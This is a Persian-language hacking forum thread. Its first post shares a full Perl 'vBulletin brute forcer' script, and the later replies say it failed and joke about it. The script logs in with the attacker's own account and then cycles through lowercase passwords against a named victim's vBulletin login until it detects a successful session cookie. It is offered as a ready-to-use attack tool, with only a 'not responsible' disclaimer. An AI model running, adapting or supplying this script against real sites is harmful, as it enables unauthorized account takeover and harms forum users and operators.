IT Security Team  
قدیمی 06-30-2009, 10:09 PM   #1
عضو جديد
 
ErtRp آواتار ها
 
تاریخ عضویت: Jun 2009
نوشته ها: 44
Thanks: 1
Thanked 17 Times in 11 Posts
پیش فرض vBulletinBruteForcer

کد:
#!/usr/bin/perl

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;
use Time::HiRes qw(gettimeofday);

$host = $ARGV[0];
$usern = $ARGV[1];
$passw = $ARGV[2];
$uname = $ARGV[3];
$url = "http://".$host;
$alpha = "abcdefghijklmnopqrstuvwxyz"; #charset
$charcount = 24; #number of chars in $alpha
$dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.
$count = 0;
$logins = 0;
$minchars = 1; #min chars
$maxchars = 10; #max chars

print q(
###########################################################
#                vBulletin brute forcer                   #
#              http://www.unnamedone.com                  #
#               [فقط اعضای سایت قادر به دیدن لینکها میباشند ]                   #
#                  09 - April - 2008                      #
################## Coded By UnnamedOne ####################
);

if (@ARGV < 4)
{
   print " #  I am not responsible for anything that you do with this!\n";
   print " #  This has been tested on vBulletin 3.6.8 and 3.7.0!\n";
   print " #  usage : vbrute.pl [host & path] [user] [pass] [target]\n";
   print " #  E.g : vbrute.pl www.milw0rm.com/vBulletin3.6.8/ UnnamedOne MyPass str0ke\n";
   exit();
}

fakelogin();
for(my $t=$minchars;$t<=$maxchars;$t++)
{
   crack($t);
}

sub fakelogin {
   $xplr = LWP::UserAgent->new() or die;
   $cookie_jarr = HTTP::Cookies->new();
   $xplr->cookie_jar( $cookie_jarr );
   $resr = $xplr->post($url.'login.php?do=login',
   Content => [
   "vb_login_username"   => "$usern",
   "vb_login_password"   => "$passw",
   "do"      => "login",
   ],);
   if($cookie_jarr->as_string =~ /IDstack=(.*?);/) {
      #Do nothing..
   }
   else
   {
      #print $cookie_jarr->as_string;
      print "Forum not vulnerable or wrong username / password.\n";
      exit();
   }
}

sub crack {
   $xpl = LWP::UserAgent->new() or die;
   $cookie_jar = HTTP::Cookies->new();
   $CharSet = shift;
   @RawString = ();
   for (my $i =0;$i<$CharSet;$i++) {
      $RawString[i] = 0;
   }
   $Start = gettimeofday();
   do {
      for (my $i =0;$i<$CharSet;$i++)
      {
         if ($RawString[$i] > length($alpha)-1) {
            if ($i==$CharSet-1) {
               $cnt = 0;
               return false;
            }
            $RawString[$i+1]++;
            $RawString[$i]=0;
         }
      }
      $ret = "";
      for (my $i =0;$i<$CharSet;$i++) {
         $ret = $ret . substr($alpha,$RawString[$i],1);
      }
      $count++;
      if($count == 4) {
         fakelogin();
         $count = 0;
      }
      $xpl->cookie_jar( $cookie_jar );
      $res = $xpl->post($url.'login.php?do=login',
      Content => [
      "vb_login_username"   => "$uname",
      "vb_login_password"   => "$ret",
      "do"      => "login",
      ],);
      $cnt++;
      $Stop = gettimeofday();
      if ($Stop-$Start>$dbgtmr) {
         $cnt = int($cnt/$dbgtmr);
         $Start = gettimeofday();
      }
      $logins++;
      system("clear");
      $pro = ($logins / ($charcount * $maxchars));
      print "Current password: $ret\n";
      print "Login attempts: $logins\n";
      print "Cracking speed: $cnt passwords/sec\n";
      print "$pro% finished.\n";
      $cnt = 0;
      if($cookie_jar->as_string =~ /IDstack=(.*?);/) {
         print "Password cracked! => $ret\n";
         exit();

      }
      $RawString[0]++;
   }while($RawString[$CharSet-1]<length($alpha));
}
ErtRp آنلاین نیست.   پاسخ با نقل قول
The Following User Says Thank You to ErtRp For This Useful Post:
Sad Boy (08-22-2010)
قدیمی 08-06-2010, 07:09 PM   #2
عضو جديد
 
mobo12dz آواتار ها
 
تاریخ عضویت: Aug 2010
نوشته ها: 2
Thanks: 0
Thanked 2 Times in 2 Posts
پیش فرض

لم يشتغل
mobo12dz آنلاین نیست.   پاسخ با نقل قول
The Following User Says Thank You to mobo12dz For This Useful Post:
Sad Boy (08-22-2010)
قدیمی 08-07-2010, 12:07 PM   #3
عضو جديد
 
xerxes آواتار ها
 
تاریخ عضویت: Jun 2010
محل سکونت: The Great Persia
نوشته ها: 8
Thanks: 8
Thanked 9 Times in 4 Posts
Talking

نقل قول:
نوشته اصلی توسط mobo12dz نمایش پست ها
لم يشتغل
ترجمه:
میگه میخوام در طرح اشتغال زایی شرکت کنم!!
__________________
~~~~~~~PERSIAN Gulf Forever~~~~~~~
xerxes آنلاین نیست.   پاسخ با نقل قول
The Following 4 Users Say Thank You to xerxes For This Useful Post:
hat (08-08-2010), priv8 (08-07-2010), Sad Boy (08-22-2010), stuntman (03-10-2011)
قدیمی 08-08-2010, 02:54 AM   #4
عضو جديد
 
Dr.Mute آواتار ها
 
تاریخ عضویت: Jul 2010
نوشته ها: 11
Thanks: 10
Thanked 3 Times in 2 Posts
پیش فرض

بامزه !
Dr.Mute آنلاین نیست.   پاسخ با نقل قول
The Following 2 Users Say Thank You to Dr.Mute For This Useful Post:
q7xx (08-08-2010), Sad Boy (08-22-2010)
پاسخ

ابزارهای موضوع
نحوه نمایش

مجوز های ارسال و ویرایش
شما نمیتوانید موضوع جدیدی ارسال کنید
شما امکان ارسال پاسخ را ندارید
شما نمیتوانید فایل پیوست در پست خود ضمیمه کنید
شما نمیتوانید پست های خود را ویرایش کنید

BB code هست فعال
شکلک ها فعال است
کد [IMG] فعال است
کد HTML غیر فعال است
Trackbacks are فعال
Pingbacks are فعال
Refbacks are فعال



اکنون ساعت 06:04 AM برپایه ساعت جهانی (GMT - گرینویچ) +4.5 می باشد.


Powered by vBulletin
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd

كليه حقوق اين وب سايت براي ITSecTeam محفوظ ميباشد


Content Relevant URLs by vBSEO ©2011, Crawlability, Inc.